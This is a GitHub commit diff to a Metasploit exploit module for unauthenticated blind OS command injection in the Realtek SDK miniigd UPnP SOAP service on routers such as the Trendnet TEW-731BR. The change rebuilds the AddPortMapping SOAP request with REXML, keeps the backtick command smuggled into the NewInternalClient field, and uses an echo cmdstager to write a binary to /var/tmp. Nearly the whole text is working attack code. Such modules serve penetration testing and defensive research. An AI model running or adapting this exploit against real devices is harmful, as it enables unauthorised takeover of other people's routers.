Skip to content

Commit 9ebd6e5

Browse files
committed
Use REXML
1 parent 53043dc commit 9ebd6e5

File tree

1 file changed

+55
-32
lines changed

1 file changed

+55
-32
lines changed

modules/exploits/linux/http/realtek_miniigd_upnp_exec_noauth.rb

Lines changed: 55 additions & 32 deletions
Original file line numberDiff line numberDiff line change
@@ -10,15 +10,16 @@ class Metasploit3 < Msf::Exploit::Remote
1010

1111
include Msf::Exploit::Remote::HttpClient
1212
include Msf::Exploit::CmdStager
13+
include REXML
1314

1415
def initialize(info = {})
1516
super(update_info(info,
1617
'Name' => 'Realtek SDK Miniigd UPnP SOAP Command Execution',
1718
'Description' => %q{
1819
Different devices using the Realtek SDK with the miniigd daemon are vulnerable to OS command
1920
injection in the UPnP SOAP interface. Since it is a blind OS command injection vulnerability,
20-
there is no output for the executed command.
21-
This module has been tested in emulation on a Trendnet TEW-731BR router.
21+
there is no output for the executed command. This module has been tested successfully on a
22+
Trendnet TEW-731BR router with emulation.
2223
},
2324
'Author' =>
2425
[
@@ -52,7 +53,7 @@ def initialize(info = {})
5253
'Platform' => 'linux',
5354
'Arch' => ARCH_MIPSBE
5455
}
55-
],
56+
]
5657
],
5758
'DefaultTarget' => 0
5859
))
@@ -91,54 +92,76 @@ def exploit
9192

9293
execute_cmdstager(
9394
:flavor => :echo,
94-
:linemax => 50
95+
:linemax => 50,
96+
:nodelete => true
9597
)
9698
end
9799

98100
def execute_command(cmd, opts)
99101
uri = '/wanipcn.xml'
100-
101-
new_portmapping_descr = rand_text_alpha(8)
102-
new_external_port = rand(32767) + 32768
103-
new_internal_port = rand(32767) + 32768
104-
105-
# We need something like this:
106-
#cmd = "echo -en \\\x7f\\\x45\\\x4c\\\x46\\\x01 > /var/tmp/pwdn"
107-
cmd = cmd.gsub("\\\\", "\\\\\\\\\\")
108-
109-
soapaction = "urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping"
110-
111-
data_cmd = "<?xml version=\"1.0\"?>"
112-
data_cmd << "<SOAP-ENV:Envelope xmlns:SOAP-ENV=\"http://schemas.xmlsoap.org/soap/envelope\" SOAP-ENV:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">"
113-
data_cmd << "<SOAP-ENV:Body>"
114-
data_cmd << "<m:AddPortMapping xmlns:m=\"urn:schemas-upnp-org:service:WANIPConnection:1\">"
115-
data_cmd << "<NewLeaseDuration></NewLeaseDuration>"
116-
data_cmd << "<NewInternalClient>`#{cmd}`</NewInternalClient>"
117-
data_cmd << "<NewEnabled>1</NewEnabled>"
118-
data_cmd << "<NewExternalPort>#{new_external_port}</NewExternalPort>"
119-
data_cmd << "<NewRemoteHost></NewRemoteHost>"
120-
data_cmd << "<NewProtocol>TCP</NewProtocol>"
121-
data_cmd << "<NewInternalPort>#{new_internal_port}</NewInternalPort>"
122-
data_cmd << "</m:AddPortMapping>"
123-
data_cmd << "</SOAP-ENV:Body>"
124-
data_cmd << "</SOAP-ENV:Envelope>"
102+
soap_action = 'urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping'
103+
data_cmd = '<?xml version="1.0"?>' + build_soap_req
125104

126105
begin
127106
res = send_request_cgi({
128107
'uri' => uri,
129108
'vars_get' => {
130109
'service' => 'WANIPConn1'
131110
},
132-
'ctype' => "text/xml",
111+
'ctype' => 'text/xml',
133112
'method' => 'POST',
134113
'headers' => {
135-
'SOAPAction' => soapaction,
114+
'SOAPAction' => soap_action
136115
},
137-
'data' => data_cmd
116+
'data' => data_cmd.gsub(/CMD_HERE/, "`#{cmd.gsub(/\\/, '\\\\\\\\\\')}`")
138117
})
139118
return res
140119
rescue ::Rex::ConnectionError
141120
fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
142121
end
143122
end
123+
124+
def build_soap_req
125+
new_external_port = rand(32767) + 32768
126+
new_internal_port = rand(32767) + 32768
127+
128+
xml = Document.new
129+
130+
xml.add_element(
131+
'SOAP-ENV:Envelope',
132+
{
133+
'xmlns:SOAP-ENV' => 'http://schemas.xmlsoap.org/soap/envelope/',
134+
'SOAP-ENV:encodingStyle' => 'http://schemas.xmlsoap.org/soap/encoding/'
135+
})
136+
137+
xml.root.add_element('SOAP-ENV:Body')
138+
139+
body = xml.root.elements[1]
140+
141+
body.add_element(
142+
'm:AddPortMapping',
143+
{
144+
'xmlns:m' => 'urn:schemas-upnp-org:service:WANIPConnection:1'
145+
})
146+
147+
port_mapping = body.elements[1]
148+
port_mapping.add_element('NewLeaseDuration')
149+
port_mapping.add_element('NewInternalClient')
150+
port_mapping.add_element('NewEnabled')
151+
port_mapping.add_element('NewExternalPort')
152+
port_mapping.add_element('NewRemoteHost')
153+
port_mapping.add_element('NewProtocol')
154+
port_mapping.add_element('NewInternalPort')
155+
156+
port_mapping.elements['NewLeaseDuration'].text = ''
157+
port_mapping.elements['NewInternalClient'].text = 'CMD_HERE'
158+
port_mapping.elements['NewEnabled'].text = '1'
159+
port_mapping.elements['NewExternalPort'].text = "#{new_external_port}"
160+
port_mapping.elements['NewRemoteHost'].text = ''
161+
port_mapping.elements['NewProtocol'].text = 'TCP'
162+
port_mapping.elements['NewInternalPort'].text = "#{new_internal_port}"
163+
164+
xml.to_s
165+
end
166+
144167
end

0 commit comments

Comments
 (0)